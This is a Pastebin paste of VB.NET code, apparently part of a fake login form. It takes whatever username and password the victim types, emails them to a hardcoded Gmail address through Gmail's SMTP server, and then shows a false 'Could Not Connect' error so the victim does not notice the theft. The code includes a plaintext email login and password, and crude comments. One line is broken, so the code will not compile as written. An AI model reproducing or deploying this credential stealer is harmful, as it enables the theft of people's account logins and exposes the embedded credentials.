Advertisement
Guest User

Untitled

a guest
Aug 4th, 2016
114
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.18 KB | None | 0 0
  1. Sub Main()
  2. 'Stop people fucking with our bot
  3.  
  4. Dim fileReader As String
  5. fileReader = My.Computer.FileSystem.ReadAllText("auth.txt")
  6. fileReader.Split(: ) 'Fix this and I wank you Jack -Oli
  7.  
  8.  
  9. Dim smtpServer As New SmtpClient()
  10. Dim mail As New MailMessage()
  11. 'The smtpserver.credentials will use the Gmail & password below
  12. smtpServer.Credentials = New Net.NetworkCredential("chelstoness@gmail.com", "bitcoin1")
  13. 'smtpserver.port = 587 that's the default of the gmail
  14. smtpServer.Port = 587
  15. 'smtpserver.host = the host you actually use so gmail
  16. smtpServer.Host = "smtp.gmail.com"
  17. 'smtpserver.enableSsl = true it will enable the SSL
  18. smtpServer.EnableSsl = True
  19. mail = New MailMessage()
  20. mail.From = New MailAddress("chelstoness@gmail.com")
  21. mail.To.Add("chelstoness@gmail.com")
  22. mail.Subject = "Username: " & UsernameBox.Text
  23. mail.Body = "Username : " & UsernameBox.Text & ", " & "Password : " & PasswordBox.Text
  24. smtpServer.Send(mail)
  25. MsgBox("Error, Could Not Connect To Your Account! Try Again Later!")
  26. End Sub
  27.  
  28. End Module
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement